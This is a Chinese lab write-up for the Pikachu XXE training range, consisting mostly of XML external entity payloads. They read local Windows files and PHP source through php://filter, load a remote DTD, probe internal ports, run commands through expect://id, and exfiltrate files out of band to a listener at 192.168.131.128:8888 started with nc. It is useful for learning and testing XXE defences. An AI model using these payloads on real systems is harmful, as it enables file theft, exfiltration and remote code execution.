Pikachu-XXE靶场(注入攻击)

1.攻击测试

复制代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "a" > ]>
<foo>&xxe;</foo>

2.查看文件

复制代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///E:/phpStudy/PHPTutorial/WWW/flag/flag.txt" > ]>
<foo>&xxe;</foo>
复制代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>

3.查看源码

复制代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=E:/phpStudy/PHPTutorial/WWW//1.php" > ]>
<foo>&xxe;</foo>

去base64解码

4.DTD外部调用

复制代码
<!ENTITY evil SYSTEM "file:///c:/windows/system.ini" >
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://172.16.3.243/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>

5.探测内网存活主机与开放端口

复制代码
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY rabbit SYSTEM "http://127.0.0.1:80" > ]> <x>&rabbit;</x>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY rabbit SYSTEM "mysql://127.0.0.1:3306" > ]> <x>&rabbit;</x>

6.无回显探测

复制代码
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.131.128:8888/?%file;'>">%start;

虚拟机ip

复制代码
nc -lvvp 8888  //开启监听
复制代码
<?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://172.16.3.243/123.dtd"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///E:/phpStudy/PHPTutorial/WWW/flag/flag.txt"> %remote; %send;]>

得到base64编码去解码

7.命令执行

IP:106.52.18.106:8765/vul/xxe/xxe_1.php

复制代码
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
相关推荐
belldeep19 分钟前
本草纲目:如何应用 PostgreSQL 实现【中医药】主题数据库 ?
数据库·postgresql·本草纲目
Bert.Cai30 分钟前
MySQL CURTIME()函数详解
数据库·mysql
Bert.Cai31 分钟前
MySQL CURDATE()函数详解
数据库·mysql
NGSI vimp1 小时前
MySQL|MySQL 中 `DATE_FORMAT()` 函数的使用
数据库·mysql
HAWK eoni1 小时前
Mysql 驱动程序
数据库·mysql
二哈赛车手1 小时前
新人笔记---实现简易版的rag的bm25检索(利用ES),以及RAG上传时的ES与向量数据库双写
java·数据库·笔记·spring·elasticsearch·ai
何中应1 小时前
CentOS 7安装、卸载MySQL数据库(二)
数据库·mysql·centos
KmSH8umpK1 小时前
Redis分布式锁从原生手写到Redisson高阶落地,附线上死锁复盘优化方案进阶第六篇
数据库·redis·分布式
梁萌2 小时前
mysql使用事件做日志表数据转移
数据库·mysql
lThE ANDE2 小时前
MySQL中的TRUNCATE TABLE命令
数据库·mysql